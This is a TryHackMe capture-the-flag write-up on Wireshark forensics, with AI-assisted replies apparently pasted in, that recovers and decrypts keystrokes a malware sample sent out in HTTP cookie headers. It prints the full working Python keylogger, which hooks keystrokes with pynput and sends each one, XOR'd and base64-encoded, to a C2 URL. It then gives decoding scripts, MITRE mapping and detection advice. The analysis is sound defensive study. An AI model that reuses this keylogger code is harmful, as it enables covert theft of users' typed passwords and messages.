Packed Light: Wireshark x Cryptography - XOR & Base64 - Forensics (TryHackMe)

Link to the challenge on TryHackMe: Packed Light
ποΈ Concierge Briefing
Tiny packets. Odd hours. Suspiciously regular. Someone's smuggling out the data equivalent of a hotel towel every night, folded neatly inside traffic that looks ordinary until you decode it.
A short capture from the guest network is all VERA could pull before the connection dropped. Somewhere in that traffic, a quiet little errand is running on a loop, and it isn't part of any service the hotel actually offers.
ποΈ TODAY'S ITINERARY
[ ] Analyze the provided capture for a covert communication channel.
[ ] Identify where the exfiltrated data is being hidden and reassemble it.
[ ] Decode the recovered data and submit the flag.
@0xMiaΒ· posted 40 min after room unlock
"not me watching my laptop ping some random :8080 address every single second like clockwork π© the request headers are giving 'not a real app' ngl also what is with the crypto π #HackerHolidays"
Network Forensics
PCAPΒ Analysis
Cryptography
Easy
Next challenge - we're given a Wireshark file - I have a feeling I should follow the HTTP stream, and I've seen this at first TCP stream doesn't have much
GET /temp/updates.py HTTP/1.1
Host: byte-lotus-hotel.thm:8080
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.6
Accept-Encoding: gzip, deflate
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.2
Date: Wed, 17 Jun 2026 05:38:38 GMT
Content-type: text/x-python
Content-Length: 1086
Last-Modified: Wed, 17 Jun 2026 05:30:02 GMT
import requests
import base64
from pynput import keyboard
C2_URL = "http://byte-lotus-hotel.thm:8080/"
def getkey():
p1 = "H0t3lSt@ff0Nly"
p2 = "K3epS3cr3t!"
return p1 + p2
def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def sendltr(character):
raw_bytes = character.encode('utf-8')
encrypted = xor(raw_bytes, getkey().encode('utf-8'))
b64_string = base64.b64encode(encrypted).decode('utf-8')
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
"Cookie": f"hotel_sess_state={b64_string}"
}
try:
requests.get(C2_URL, headers=headers, timeout=0.5)
except:
pass
def on_press(key):
try:
sendltr(key.char)
except AttributeError:
if key == keyboard.Key.space:
sendltr(" ")
elif key == keyboard.Key.enter:
sendltr("\n")
print("[*] Byte Lotus Sync Service started...")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
Excellent β that script is a keylogger. Every keystroke gets XOR'd with the key H0t3lSt@ff0NlyK3epS3cr3t! (that's p1 + p2 concatenated), base64-encoded, and smuggled out one keystroke at a time in the Cookie: hotel_sess_state=... header of GET requests back to the C2.
So the plan: pull every HTTP request to byte-lotus-hotel.thm:8080 that has that cookie, extract the value in chronological order, decode+XOR each one, and concatenate β that reconstructs exactly what was typed (likely login creds or the flag).
Step 1 β Extract all the cookie values from the pcap in order, using tshark:
bash
tshark -r traffic.pcapng -Y "http.cookie contains\"hotel_sess_state\"" \
-T fields -e frame.time_relative -e http.cookie
This gives you a time-ordered list of hotel_sess_state=<base64> values β one per keystroke.
If the cookie field isn't parsed cleanly, fall back to the raw request line:
bash
tshark -r traffic.pcapng -Y "http.request and http contains\"hotel_sess_state\"" \
-T fields -e frame.number -e http.cookie
Step 2 β Decode with a small Python script:
python
import base64
key = ("H0t3lSt@ff0Nly" + "K3epS3cr3t!").encode()
def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
# paste the cookie values here, in the exact order tshark gave them,
# one per line, e.g.:
cookies = """
hotel_sess_state=AbC123==
hotel_sess_state=XyZ456==
""".strip().splitlines()
result = ""
for line in cookies:
b64_val = line.split("=", 1)[1]
decrypted = xor(base64.b64decode(b64_val), key)
result += decrypted.decode('utf-8', errors='replace')
print(result)
A couple of tips:
Make absolutely sure the requests are in chronological order (sort by
frame.time_relativeor frame number) β since each keystroke is a separate HTTP request, if they're out of order the reconstructed text will be garbled.Watch for retransmitted/duplicate packets in the pcap β dedupe if tshark shows the same cookie value twice in a row unless it's a repeated character.
The output will likely contain a flag directly, or credentials that lead to the flag (e.g., login typed into a form somewhere else in the traffic).
Run step 1, paste me the list of cookie values (or even just a chunk if it's long), and I'll help decode it directly β or if you'd rather, paste a sample of the tshark output so I can double check the field name/extraction is working correctly before you commit to pulling the whole capture.
That's exactly the right lead β but I noticed something important that likely explains why your script only printed I: check your xor() function's key handling.
Since each sendltr() call encrypts a message that's only 1 character long, look at what happens inside xor():
python
def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
For a 1-byte input, i is always 0. That means every single keystroke is XORed with only key[0] β the first byte of "H0t3lSt@ff0NlyK3epS3cr3t!", which is 'H' (0x48). The rest of the key never gets used at all. This is effectively a single-byte XOR, not a full keystream cipher β a bug in the malware, but great news for you.
So the fix: decode each base64 cookie value to get 1 raw byte, then XOR that byte with 0x48 ('H'), not the whole key string.
Here's a corrected script β paste your full tshark two-column output straight into raw_data (keep it ordered by frame number/time, which yours already is):
python
import base64
KEY_BYTE = ord('H') # 0x48 β only key[0] is ever used due to the malware's XOR bug
raw_data = """
391 hotel_sess_state=HA==
428 hotel_sess_state=AA==
520 hotel_sess_state=BQ==
585 hotel_sess_state=Mw==
619 hotel_sess_state=Hg==
707 hotel_sess_state=ew==
740 hotel_sess_state=Og==
790 hotel_sess_state=fA==
815 hotel_sess_state=Fw==
840 hotel_sess_state=eY==
868 hotel_sess_state=Ow==
907 hotel_sess_state=Fw==
932 hotel_sess_state=Pw==
961 hotel_sess_state=fA==
990 hotel_sess_state=PA==
1019 hotel_sess_state=Kw==
1038 hotel_sess_state=IA==
1056 hotel_sess_state=eY==
1076 hotel_sess_state=Jg==
1094 hotel_sess_state=Lw==
1114 hotel_sess_state=Fw==
1132 hotel_sess_state=eA==
1150 hotel_sess_state=Pg==
1168 hotel_sess_state=LQ==
1190 hotel_sess_state=Gg==
1220 hotel_sess_state=Fw==
1240 hotel_sess_state=MQ==
1260 hotel_sess_state=eA==
1278 hotel_sess_state=PQ==
1300 hotel_sess_state=NQ==
""".strip().splitlines()
result = ""
for line in raw_data:
b64_val = line.split("hotel_sess_state=")[1].strip()
raw_byte = base64.b64decode(b64_val)[0]
decrypted = raw_byte ^ KEY_BYTE
result += chr(decrypted)
print(result)
my everything i got the flag
nano file2.py
jebitok@MacBookAir 101 % python3 file2.py
THM{V3r4_1s_w4tch1ng_0veR_yredacted}
Conclusion
Packed Light is a nice change of pace from the AI-specific rooms no prompt injection, no LLM at all. It's classic malware analysis + network forensics + applied cryptanalysis, and it's worth treating as its own category in your writeups since the lessons are different from the LLM/cloud chain you've been building.
What actually happened
A Python-based keylogger (updates.py, served over plain HTTP with zero pretense of legitimacy SimpleHTTP/0.6 Python/3.11.2) was dropped on the guest network. It hooked every keystroke via pynput, XOR-"encrypted" each one, base64-encoded the result, and exfiltrated it inside a Cookie: hotel_sess_state=... header on a GET request per keystroke one HTTP request per character, disguised as ordinary browser traffic via a spoofed User-Agent.
Vulnerabilities/weaknesses identified
Malware delivered over plaintext HTTP with no obfuscation of intent. The C2 script was fetchable directly (
GET /temp/updates.py) and readable in the clear: no packing, no encryption of the payload itself, source fully legible in the pcap. This made static analysis trivial once the stream was pulled.Per-keystroke exfiltration as a covert channel - but a noisy one. Beaconing once per second/keystroke to a fixed
:8080endpoint is exactly the kind of "suspiciously regular" pattern@0xMiaflagged from casual observation a strong reminder that C2 beacon regularity is itself a detectable signature, independent of payload content. Real-world detection tooling (Zeek/Suricata beacon-detection, JA3/JA3S fingerprinting, simple frequency analysis on outbound connections) would catch this class of traffic without ever needing to decode the payload.Home-rolled cryptography with a critical implementation bug. The intended design was a repeating-key XOR stream cipher (
key[i % len(key)]) already weak crypto, but at least a multi-byte keyspace. The actual bug: because eachsendltr()call encrypts a single character (len(data) == 1),iis always0, so onlykey[0]('H',0x48) is ever used. The 24-byte keyH0t3lSt@ff0NlyK3epS3cr3t!collapses to an effective single-byte XOR trivially brute-forceable (256 possibilities) even without spotting the bug, and immediately obvious once you read the source and reasoned about call granularity rather than treating the cipher as a black box.Sensitive data smuggled in an inconspicuous but fully visible channel. HTTP cookies are logged, cached, and visible to anyone with pcap access or a proxy in the path; using them as an exfil channel avoids some naive DPI signatures but does nothing against an analyst who captures traffic and reads headers, which is exactly the scenario here.
Investigative technique - what worked
Follow the HTTP stream first, not the encoded payload. The win came from finding the dropper/source (
updates.py) before trying to decode anything. Reading the malware's own logic told you exactly what algorithm to reverse, rather than guessing at the cipher blind.Reason about the cipher from its call pattern, not just its formula. The XOR function was "correct" in isolation; the vulnerability only became visible by asking how this function is actually invoked one character at a time, which is a broadly useful instinct for reversing any keystream-style cipher: always check whether the implementation's real-world call pattern matches the assumptions the algorithm depends on (here, a growing/varying
iacross a long input).tsharkfield extraction + chronological ordering.-Y "http.cookie contains..."with-e frame.time_relativepulled a clean, orderable dataset without manual stream-by-stream digging worth keeping as a reusable one-liner for any per-request exfil pattern.
MITRE ATT&CK mapping (this one fits ATT&CK, not ATLAS; no AI/ML component involved)
T1056.001 - Input Capture: Keylogging: the core
pynput-based capture.T1071.001 - Application Layer Protocol: Web Protocols: HTTP used as the C2 channel.
T1132.001 / T1027 - Data Encoding / Obfuscated Files or Information: base64 + XOR "encryption" of exfiltrated data.
T1041 - Exfiltration Over C2 Channel: data sent out via the same HTTP channel used for C2 polling.
T1573 - Encrypted Channel (weak/broken variant): attempted, but cryptographically unsound.
Takeaways worth keeping in your notes/checklist
Beacon regularity is a detection signal on its own: per-second or per-keystroke outbound requests to a fixed
host:portare anomalous even before payload inspection; this belongs as a checklist item in a network-monitoring / detection-engineering context (distinct from your AI-Security-Checklists repo this one's plain infra/endpoint monitoring).When reversing a cipher, verify the effective keyspace given real call patterns a strong-looking key can be silently truncated by how the encryption function is invoked, not just by how it's defined.
Cookie-based or header-based exfiltration is opaque to a casual glance but trivial to any packet capture; treat "hidden in a normal-looking header" as security-through-obscurity, not actual protection, when threat-modeling internal network traffic.



